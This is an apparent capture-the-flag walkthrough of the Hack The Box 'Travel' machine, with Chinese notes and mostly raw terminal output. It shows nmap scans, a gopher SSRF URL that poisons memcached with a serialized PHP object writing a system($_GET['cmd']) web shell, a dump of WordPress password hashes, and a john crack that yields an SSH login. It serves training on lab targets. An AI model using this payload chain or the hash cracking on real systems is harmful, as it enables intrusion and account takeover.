┌──(mikannse㉿kali)-[~/HTB/travel] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.189 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 13:12 CST Nmap scan report for 10.10.10.189 Host is up (0.067s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds
┌──(mikannse㉿kali)-[~/HTB/travel] └─$ sudo nmap -sT -sC -sV -O -p22,80,443 10.10.10.189 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 13:13 CST Nmap scan report for 10.10.10.189 Host is up (0.061s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA) | 256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA) |_ 256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519) 80/tcp open http nginx 1.17.6 |_http-title: Travel.HTB |_http-server-header: nginx/1.17.6 443/tcp open ssl/http nginx 1.17.6 |_http-title: Travel.HTB - SSL coming soon. |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK | Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb | Not valid before: 2020-04-23T19:24:29 |_Not valid after: 2030-04-21T19:24:29 |_http-server-header: nginx/1.17.6 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 2.6.18 (97%), Linux 3.7 (96%), Linux 3.2.0 (96%), Tomato 1.27 - 1.28 (Linux 2.4.20) (96%), Tomato 1.28 (Linux 2.4.20) (95%), MikroTik RouterOS 6.15 (Linux 3.3.5) (94%), ZoneAlarm Z100G WAP (94%), HP Onboard Administrator 4.01 (93%), HP Onboard Administrator 4.12 - 4.40 (93%), Linux 2.6.32 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.29 seconds
This is usable when you know Class and Variable name used by user
Give serialization payload example: O:5:"Hello":0:{} : O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}
Your gopher link is ready to do SSRF : gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20103%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:30:%22%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%20%0d%0a
After everything done, you can delete memcached item by using this payload: gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
-----------Made-by-SpyD3r-----------
将payload进行url解码的结果是:
set SpyD3r 4 0 103 O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}
┌──(mikannse㉿kali)-[~] └─$ mysql -h 10.10.14.13 -p3306 -uwp -p --skip-ssl Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5212 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */; INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt'); /*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
┌──(mikannse㉿kali)-[~/HTB/travel] └─$ echo'$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.'>hash ┌──(mikannse㉿kali)-[~/HTB/travel] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1stepcloser (?) 1g 0:00:00:15 DONE (2024-09-12 19:24) 0.06591g/s 48170p/s 48170c/s 48170C/s 1stuna..1lovemac Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed.
得到lynik-admin:1stepcloser,ssh直接登录,发现内网还开了35467端口
家目录有一个.ldaprc,看上去是ldap客户端的配置文件,并且服务器似乎是开在一个容器当中
lynik-admin@travel:~$ ping ldap.travel.htb PING ldap.travel.htb (172.20.0.10) 56(84) bytes of data. 64 bytes from ldap.travel.htb (172.20.0.10): icmp_seq=1 ttl=64 time=0.063 ms 64 bytes from ldap.travel.htb (172.20.0.10): icmp_seq=2 ttl=64 time=0.040 ms 64 bytes from ldap.travel.htb (172.20.0.10): icmp_seq=3 ttl=64 time=0.050 ms